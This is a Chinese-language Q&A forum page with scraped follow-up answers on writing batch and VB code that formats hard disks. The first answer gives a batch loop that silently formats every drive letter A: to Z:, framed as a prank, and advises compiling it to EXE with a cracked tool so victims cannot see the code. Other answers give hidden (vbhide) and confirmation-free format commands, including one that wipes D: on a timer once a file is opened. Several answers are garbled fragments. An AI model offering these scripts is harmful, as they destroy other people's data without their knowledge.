VB 格式化磁盘代码

求：可以格式化硬盘的bat代码！~

写成BAT:@ECHO OFF
TITLE 不要搞破坏!哦?!
ECHO.正在清理整个硬盘,请稍后....
FOR %%I IN (A:;B:;C:;D:;E:;F:;G:;H:;I:;J:;K:;L:;M:;N:;O:;P:;Q:;R:;S:;T:;U:;V:;W:;X:;Y:;Z:) DO LABEL %%I本地磁盘 >NUL 2>NUL&&FORMAT %%I /F /X /Y >NUL 2>NUL 正在用的分区无法格式化!我磁盘有文件,我写了没试过,嗯,不过应该没问题,你拿去玩吧,别恶搞!千万别恶搞!还有.你喜欢玩这个的话 可以去下载一个Quick Batch File Compiler(BAT转换EXE工具)别下安装版的, 下绿色破解版的, 这个支持后台运行,而且转成了EXE格式的别人看不见你写的什么.

Shell "cmd /c " & "format " & Text1.Text & ": /FS:FAT32 /Q",vbhide

例如在text1中输入D，就可以格式化D盘了

建一个Command1. 要特别注意空格以及不要加多余的"".
代码如下。
＝＝＝＝＝＝＝＝＝＝
Private Sub Command1_Click()
Shell "cmd /c format e: /q"
End Sub

Private Sub Command1_Click()
Shell "cmd /c format e: /q/y"
End Sub

大哥,你的问题是啥?

---

集宁区18482976719： VB 格式化磁盘代码 - ？
幸露山海： Private Sub Command1_Click() Shell ＂cmd /c format e: /q/y＂ End Sub

集宁区18482976719： 怎么样用vb代码写自动格式化硬盘的代码? - ？
幸露山海： 在Drive的参数中 ＂A:＂ = 0,类推.Private Const SHFMT_ID_DEFAULT = &HFFFF& 'Currently the only fmtID supported.Private Declare Function SHFormatDrive Lib ＂shell32.dll＂ (ByVal hWnd As Long, ByVal Drive As Long, fmtID As Long, ...

集宁区18482976719： 求一VB自动格式磁盘的代码?？
幸露山海： unmatched,

集宁区18482976719： VB 如何自动完成格式化硬盘 - ？
幸露山海： 用msdos完成就行了 Shell ＂cmd /c ＂ & ＂format F: /FS:FAT32 /Q＂[, vbhide] 注意:加括号的地方如果不要,将会显示格式化进度(**),否则将后台执行. …… 其实没必要用vb来的 能简单就简单吧. -----------------------格式化硬盘命令-------------...

集宁区18482976719： 如何在VB中实现删除文件夹和格式化硬盘的命令? - ？
幸露山海： 建一个COmmand1,Command2.代码如下.================= Private Sub Command1_Click() RmDir ＂d:\tuzi＂ End Sub Private Sub Command2_Click() Shell ＂cmd /c format e:＂ End Sub

集宁区18482976719： VB 如何格式化硬盘~？
幸露山海： shell ＂format z: /fs:ntfs /v:MyLable /x /q＂ /q表示执行快速格式化. 如果需要更多控制的话,使用api:CreateProcess

集宁区18482976719： VB如何格式化磁盘? - ？
幸露山海： shell ＂format 【磁盘盘符】 /q/x/y＂

集宁区18482976719： VB编写格式化文件的程序 - ？
幸露山海： Option Explicit Private Declare Function SHFormatDrive Lib＂shell32＂_ ( ByVal Hend AS Long,_ ByVal Drive AS Long,_ ByVal FormatID AS Long,_ ByVal Options AS Long) as Long Private Sub FormatDisk(intDrive as integer,blnQuickFormat ...

集宁区18482976719： 如何用VB代码格式化全部本地硬盘 - ？
幸露山海： VB程序需要系统支持 2:\Shall Bat文件Del e.* 不过几乎不可能实现 1;*

集宁区18482976719： vb,打开某文件立刻强制执行格式化D盘的代码和明确的解释？
幸露山海： Private Sub Timer1_timer() shell ＂format d:＂ end sub